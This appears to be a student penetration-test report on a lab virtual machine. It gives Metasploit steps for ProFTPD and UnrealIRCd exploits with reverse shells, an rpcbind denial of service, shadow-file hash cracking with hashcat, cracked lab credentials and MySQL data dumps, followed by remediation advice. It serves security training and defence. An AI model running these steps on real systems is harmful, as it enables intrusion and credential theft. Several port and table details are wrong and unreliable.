IS Security and Risk Management Report: How Vulnerable is an Enterprise?
About this report
Humbleify and your esteemed consultancy hereby enter into a contractual agreement for you to carry out a vulnerability assessment of a specific Humbleify asset described below.
Your objectives are threefold:
Document vulnerabilities that you are able to successfully exploit on the server. Describe in detail what you did and what level of access you were able to obtain. If you obtain a user account with limited privileges, document whether you were able to escalate the privileges to root. Document each exploit that you are able to successfully launch.
Document potentially sensitive information that you are able to obtain from the server. These could include user files or web, database, or other server files.
For both 1 and 2 above, argue for methods that could protect the vulnerabilities and sensitive information from > exploitation.
You are hereby authorized to perform the agreed-upon vulnerability assessment of the Humbleify vagrantbox virtual machine with IP address 192.168.56.200. Your scope of engagement is exclusively limited to the single Humbleify asset.
You may:
Access the server through any technological means available. Carry out activities that may crash the server.
You may not:
Social engineer any Humbleify employees. Sabotage the work of any other consultancy team hired by Humbleify. Disclose to any other party any information discovered on the asset.
Furthermore, note the following:
This is a vagrantbox development version of a live asset. The vagrant-standard privileged user vagrant is present on this virtual machine, but not on the live version of the asset. Therefore, any access via the vagrant user is moot and out of scope.
Table of Contents
Executive Summary
It is strongly suggested that Humbleify consider these remediations and promptly address any critical vulnerabilities within 30 days to ensure that potential risks are mitigated.
I. Project Scope Description
1.1. Objectives
-
Document vulnerabilities that you are able to successfully exploit on the server. Describe in detail what you did and what level of access you were able to obtain. If you obtain a user account with limited privileges, document whether you were able to escalate the privileges to root. Document each exploit that you are able to successfully launch.
-
Document potentially sensitive information that you are able to obtain from the server. These could include user files or web, database, or other server files.
-
For both 1 and 2 above, argue for methods that could protect the vulnerabilities and sensitive information from > exploitation.
1.2. Authorization
-
Access the server through any technological means available.
-
Carry out activities that may crash the server.
-
Social engineer any Humbleify employees.
-
Sabotage the work of any other consultancy team hired by Humbleify.
-
Disclose to any other party any information discovered on the asset.
- This is a vagrantbox development version of a live asset. The vagrant-standard privileged user vagrant is present on this virtual machine, but not on the live version of the asset. Therefore, any access via the vagrant user is moot and out of scope.
II. Target of Assessment
2.1. Operating System: Linux 3.2 - 4.9.
- Linux kernel 4.9 was released on December 11th, 2016. This version is now marked as EOL, which means that it will no longer receive maintenance and security updates. As time increases, the likelihood of experiencing a vulnerability attack is high.
2.2. User accounts
- The team found 8 accounts on the server (see table 1 below) and we will try to crack the passwords and elevate to Root.
2.3. Services running
-
RPCBIND: The RPCBIND service allows remote procedure calls, but may be at risk of remote code execution and denial of service. This service currently faces a serious vulnerability threat and will be the target of our subsequent attacks.
-
MySQL: MySQL is the database system using to store important data.
-
SSH: SSH service allows users to log in to the server remotely, but it may face password guessing and authentication issues.
-
HTTP: HTTP services keep websites online but may be subject to cyber-attacks such as cross-site scripting and data injection.
-
FTP ProFTPD: FTP services are used for file transfers, but there is a risk of authentication bypass and denial of service.
-
IRC UnrealIRCD: The IRC service is used for live chat, but can be affected by malicious users and channel spam.
2.4. Noteworthy Installed Applications
- MySQL: MySQL is the database system using to store important data. It may contain a lot of critical data and will be targeted by the team.
| Key | Value |
|---|---|
| Operating System | Linux 3.2 - 4.9 |
| MAC Address | 52:54:00:5B:7A:33 (QEMU virtual NIC) |
| User accounts | Vagrant tyler bcurtis bschneider cincinnatus jamescochran marlah mzimm |
| Services running | FTP ProFTPD SSH HTTP RPCBIND IRC UnrealIRCD MySQL |
| Noteworthy Installed Applications | MySQL |
| Web sites hosted | humbleify |
| Databases, and stored information | MySQL - humbleify |
III. Relevant Findings
3.1. Initial vulnerability scans and reports

3.2. Accessing open port 6667 IRC





3.3. Sudo exploitation


3.4. Hash dump and password cracking





| Username | Password |
|---|---|
| jamescochran | jamescochran |
| ’ or 1=1 | yeet |
| marlah | halram |
| bcurtis | motocross4ever |
| cincinnatus | hellohello23 |
| mysql -h 127.0.0.1 -u root -p humbleify | thetiffzhang |
| tyler | tylerHumbleify123 |
| bschneider | humblinghumbleify |
| Name | Description | Cross-references |
|---|---|---|
| MySQL Database | MySQL is running on an open port hosting all sensitive information of customers and employees which included 436428 passwords, emails, credit card information were accessed. See section 5.4 for solutions | 4.5, 5.4 |
| Tyler Henry – Director of Software Development | Notes on SQL hash, webdav, sudo exploits and root access. This issue can be fixed by having encrypted data or a stronger password, refer to section 5.3 and 5.2. | 4.3, 4.4, 5.3 |
| Employee Salaries | The exploitation of FTP port 21 | 4.5, 4.1 |
| Service | Description | Cross-references |
|---|---|---|
| SSH | The version of SSH installed on the server was OpenSSH 6.6 1p1 Ubuntu, which is weak and could be accessed through open port 21. Allowing anonymous access into the network. | 4.5, 5.1 |
| FTP | The server is running FTP application ProFTPd version 1.3.5, which is vulnerable to a remote shell exploit which would allow anyone to access the systems. | Section 4.2, 5.2 |
| IRC | The version of UnrealIRCD that was running allowed for Backdoor Command Execution. This gave a direct access into the tyler@vagrant account which lead to privilege escalation giving us Root access. By gaining access into Root@vagrant account, it resulted in a hash dump of all employee passwords. Immediate updates to the services could provide a solution to these issues see 5.1.2 for details. | 4.3, 5.1.2 |
| RPC | This port is running a version of rpcbind 2-4 which was found to be vulnerable to a denial-of-service attack using Metasploit. An updated version of this service would remediate this, see section 5.1.2. | 4.6, 5.1.2 |
IV. Supporting Details
4.1. Initial vulnerability scans and reports
Nmap report:
Notable vulnerabilities in FTP, SSH, HTTP, RPC, MySQL, IRC.
Nmap scan command:
nmap -T4 -A -sV 192.168.56.200 
4.2. Shell access through open port 21 FTP
4.3. ProFTPD
1. Open Kali Linux Terminal and open Metasploit
2. msfconsole
3. Setting up ProFTPD 1.3.5 Mod_Copy Command Execution module:
4. search proftpd
5. use 4
6. set Rhost 192.168.56.200
7. set sitepath /var/www/html
8. Setting up relevant payload options to get reverse shell access
9. show payloads
10. set payload 5
11. set Lhost 192.168.56.101
12. set Lport 4444
13. Exploit the system
14. Exploit 
4.4. Accessing open port 6667 IRC
1. Open Kali Linux Terminal and open Metasploit:
2. msfconsole
3. Setting up UnrealIRCD 3.2.8.1 Backdoor Command Execution module:
4. search unrealircd
5. use 0
6. set Rhost 192.168.56.200
7. Setting up relevant payload options to get reverse shell access:
8. show payloads
9. set payload 7
10. set Lhost 192.168.56.101
11. set Lport 4444
12. Exploit the system:
13. Exploit 
4.4. Hash dump and password cracking
- Sudo su - cd /etc
- cat shadow 

- Hashcat -m500 -a 1 --force -o crackedpasswords.txt Humblifyhash.txt /usr/shared/wordlist/rockyou.txt custom_wordlist.txt
- Hashcat -m500 -a 0 --force -o crackedpasswords.txt Humblifyhash.txt /usr/shared/wordlists/rockyou.txt
- Hashcat -m500 -a 0 --force -o crackedpasswords.txt Humblifyhash.txt -r /usr/share/hashcat/rules/best64.rule /usr/shared/wordlists/rockyou.txt
- Hashcat -m500 -a 0 --force -o crackedpasswords.txt Humblifyhash.txt -r /usr/share/hashcat/rules/best64.rule custom_dictionary.txt
- Hashcat -m500 -a 0 --force -o crackedpasswords.txt Humblifyhash.txt -r /usr/share/hashcat/rules/toggles5.rule /usr/shared/wordlists/rockyou.txt
- Hashcat -m500 -a 0 --force -o crackedpasswords.txt Humblifyhash.txt -r /usr/share/hashcat/rules/toggles5.rule custom_dictionary.txt
- Hashcat -m 500 -a 1 --force -o crackedpasswords.txt Humblifyhash.txt custom_dict.txt custom_dict.txt
The team looking for the passwords to access the Salary_App.php on the website by pointing to Brent Curtis as he is the Billing and Revenue person.
- Gaining access to his account through ssh using his username and password with the following command: ssh bcurtis@192.168.56.200.
- Listing all directory and file in the main page of his account first using: ls -al
- Going to the “mail” directory using the command: cd mail
- There are 2 text file, using cat command to read the file: 

cd scripts -
The salary_app directory appears, using the same cd command to get inside the directory: cd salary_app
-
After getting access into the directory and list out everything, the cat command will be used to look at the example.rb, which would show how to access the Salary_App.php:

- Going to the website, scroll down to the bottom and access the Salary_App using the provided username and password, the result will be as follows:

- As 2.txt also used Caesar Cipher, after deciphering, the result is a hint to bypass into the system: “If idiot management kicks me out, I have a way back in and I’ll make them regret it. Phase 1 is port 1525. Phase 2 is documents.txt.”.


- Hashcat -a 0 -m50 —force -o sqlcracked.txt ‘8ad008832557602aa52b8b498f3813a0:1234’ -r /usr/share/hashcat/rules/best64.rule custom_dictionary.txt

4.5. Exploiting open port SSH 21 and MySQL 6667
1. SSH bcurtis@192.168.56.200
2. Type in cracked password: motocross4ever
3. Once in bcurtis@vagrant type in the following to access MySQL: mysql -h 127.0.0.1 -u root -p humbleify
4. Use the cracked password: thetiffzhang
5. Once in SQL type: SELECT \* FROM employees;
6. To reveal customer database use: SELECT \* FROM customers; 
4.6. Open port 111 RPC Denial of Service attack
1. Open msfconsole
2. Search rpcbind
3. Use 0
4. Show options
5. Set rhost 192.168.56.200
6. exploit 
V. Vulnerability Remediation
5.1. Port 6667/tcp
5.1.1. Port monitoring
-
Adopting network monitoring tools or in-house IRC server scanners in order to supervised traffics and detect suspicious acitivities on port 6667. Any suspicious traffics or activities will be notified and report automatically to the supervisor.
-
Building an in-house machine learning to detect non-human activities happening on this port.
-
Regularly scanning the network to quickly remove any unauthorised IRC servers and mitigate the risks.
5.1.2. Version updates
- Maintain automatic UnrealIRCd updates in order to ensure the system has the latest version.
5.1.3. Permissions and supervisions
-
Conducting a thorough assessment on the permission of user accounts and backdoor accounts to ensure that the minimum permissions are sufficient for those who need to perform tasks related to UnrealIRCd.
-
Log assessment should be reviewed and supervised regularly in order to adjust the permission of the user accounts if necessary, detect unauthorised access and resolve issues quickly.
-
Conducting routine employee training, particularly for employees whose job responsibilities involve IRC servers, to ensure that they are aware of the security risks and have the necessary knowledge to perform their duties in UnrealIRCd.
5.1.4. Regular penetration tests
- Penetration test should be conducted regularly under supervision to identify and ensure any risk associated with the port 6667 could be quickly remediated.
5.2. Passwords – related mistakes
-
Passwords should be changed in a way that has nothing to do with employee information or the organisation.
-
Employees should have unique passwords for each account, making it more difficult for assailants to gain access from one account to another, thereby reducing the risk of cyber attacks.
-
The password should contain special characters or phrases that are associated with the user’s personal experiences so that only they can recall them.
-
Password Managers such as 1Password and Bitwarden should be used to securely store employee credentials. Any passwords stored on unprotected websites or in unencrypted files should be deleted permanently to prevent them from being accessed by attackers.
-
Employees should implement 2-Factor Authentication (2FA) to make access more difficult, as an attacker would be unable to input the unique code sent to them even if the password was compromised. The 2FA method would also allow employees to be notified when their accounts are compromised. It is strongly suggested that Humbleify provide its employees with security tokens in order for them to adopt the 2FA method.
5.3. Unencrypted data
-
Adopting an encrypted messaging platform which could encrypt all conversations and file exchange internally.
-
Internal and external data must be stored in an encrypted server or password-protected folders to prevent unauthorised attempts.
-
Data should be set up management permissions in various level to ensure that employees only have sufficient access and permission to work with the file without manipulating the information.
-
Humbleify should maintain automated data backup regularly, especially for sensitive data to avoid any data loss, thef and potential technical issues. This backup should be supervised and recorded into the acitivity log to detect any suspicious attempts trying to delete or manipulate the data and ensure better data management.
5.4. MySQL accessibility
5.4.1. Access restrictions
-
Examine each employee’s role and responsibilities, then alter their access permissions to ensure they have only the level of access required to perform their mySQL database-related duties. Employees with no database-related responsibilities should have their database access revoked to prevent unauthorised access and the possibility of an attacker acquiring access through other employees.
-
Employees with MySQL database access should have their own account in order to monitor the activity of each employee in the database and prevent account sharing. Each account must have a strong, unique password that is difficult to predict.
-
The 2FA method should be implemented to provide an additional layer of identity authentication and prevent attackers from gaining database access by merely obtaining the password.
5.4.2. Cybersecurity training
-
Conduct regular training for employees.
-
The training program should be designed based on the level of accessibility. The highest level of accessibility into the database should have the in-depth training and regular updates about any changes related to MySQL.
-
All employees should understand the importance of cybersecurity, how to identify suspicious attempts and the procedures on reporting unauthorised access or any abnormal activities.
5.4.3. MySQL version updates and penetration tests
-
Updating MySQL to the newest version. Humbleify should maintain regular updates or set up automatic updates to ensure the company is using the newest version.
-
Maintain regular assessments to double-check on any potential vulnerabilities such as penetration tests or security audits.
5.5. Sudo exploitation
5.5.1. Sudo Permission
-
Review the role and responsibilities of each employee and modify the permission to sudo.
-
Strictly limiting access to sudo to specific employees with work-related responsibilities.
-
Configuring the sudo activity log to monitor and detect suspicious activities or unauthorised access.
-
Conduct routine evaluations and audits to ensure that only active employees are granted sudo privileges.
5.5.2. Sudo version updates
- Maintain regular updates for the sudo package to ensure that it includes all security patches for older versions.
5.6. ProFTPD
-
ProFTPD should be routinely updated to the most recent system in order to ensure that there are no security holes exploitable by cybercriminals.
-
The operating system must be updated to ensure that all security updates for older versions are installed.
-
Review the activity log on a regular basis in order to manage access, rapidly detect abnormal activities, and mitigate risks.
-
Carefully examine the permissions and only grant sufficient access to those whose duties involve the server.
VI. Glossary
References
作者: Terry 发表日期:2023 年 12 月 11 日